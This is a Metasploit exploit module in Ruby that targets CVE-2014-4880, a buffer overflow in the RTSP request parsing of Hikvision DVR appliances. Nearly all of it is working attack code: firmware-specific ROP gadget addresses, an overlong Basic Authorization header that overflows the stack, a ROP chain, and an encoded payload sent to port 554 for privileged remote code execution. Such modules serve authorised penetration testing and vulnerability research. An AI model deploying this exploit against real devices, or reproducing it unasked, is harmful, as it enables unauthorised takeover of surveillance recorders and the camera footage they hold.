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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Hikvision DVR RTSP Request Remote Code Execution',
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      'Description'    => %q{
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        This module exploits a buffer overflow in the RTSP request parsing
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        code of Hikvision DVR appliances. The Hikvision DVR devices record
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        video feeds of surveillance cameras and offer remote administration
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        and playback of recorded footage.
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        The vulnerability is present in several models / firmware versions
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        but due to the available test device this module only supports
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        the DS-7204 model.
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      },
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      'Author'         =>
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        [
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          'Mark Schloesser <mark_schloesser[at]rapid7.com>', # @repmovsb, vulnerability analysis & exploit dev
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2014-4880' ],
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          [ 'URL', 'https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices-multiple-vulnerabilities' ]
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        ],
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      'Platform'       => 'linux',
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      'Arch'           => ARCH_ARMLE,
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      'Privileged'     => true,
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      'Targets'        =>
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        [
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          #
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          # ROP targets are difficult to represent in the hash, use callbacks instead
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          #
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          [ "DS-7204 Firmware V2.2.10 build 131009", {
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            # The callback handles all target-specific settings
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            :callback => :target_ds7204_1,
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              'g_adjustesp' => 0x002c828c,
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              # ADD             SP, SP, #0x350
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              # LDMFD           SP!, {R4-R6,PC}
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              'g_r3fromsp'  => 0x00446f80,
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              # ADD             R3, SP, #0x60+var_58
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              # BLX             R6
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              'g_blxr3_pop' => 0x00456360,
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              # BLX             R3
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              # LDMFD           SP!, {R1-R7,PC}
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              'g_popr3'     => 0x0000fe98,
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              # LDMFD           SP!, {R3,PC}
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          } ],
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          [ "Debug Target", {
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            # The callback handles all target-specific settings
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            :callback => :target_debug
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          } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2014-11-19'))
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    register_options(
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      [
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        Opt::RPORT(554)
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      ])
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  end
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  def exploit
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    unless self.respond_to?(target[:callback], true)
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      fail_with(Failure::NoTarget, "Invalid target specified: no callback function defined")
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    end
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    device_rop = self.send(target[:callback])
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    request =  "PLAY rtsp://#{rhost}/ RTSP/1.0\r\n"
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    request << "CSeq: 7\r\n"
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    request << "Authorization: Basic "
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    request << rand_text_alpha(0x280 + 34)
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    request << [target["g_adjustesp"]].pack("V")[0..2]
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    request << "\r\n\r\n"
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    request << rand_text_alpha(19)
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    # now append the ropchain
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    request << device_rop
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    request << rand_text_alpha(8)
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    request << payload.encoded
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    connect
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    sock.put(request)
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    disconnect
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  end
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  # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
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  def target_ds7204_1
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    # Create a fixed-size buffer for the rop chain
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    ropbuf = rand_text_alpha(24)
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    # CHAIN = [
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    #   0, #R4 pop adjustsp
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    #   0, #R5 pop adjustsp
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    #   GADGET_BLXR3_POP, #R6 pop adjustsp
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    #   GADGET_POPR3,
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    #   0, #R3 pop
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    #   GADGET_R3FROMSP,
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    # ]
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    ropbuf[8,4] = [target["g_blxr3_pop"]].pack("V")
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    ropbuf[12,4] = [target["g_popr3"]].pack("V")
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    ropbuf[20,4] = [target["g_r3fromsp"]].pack("V")
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    return ropbuf
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  end
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  # Generate a buffer that provides a starting point for exploit development
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  def target_debug
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    Rex::Text.pattern_create(2000)
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  end
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  def rhost
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    datastore['RHOST']
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  end
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  def rport
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    datastore['RPORT']
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  end
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end
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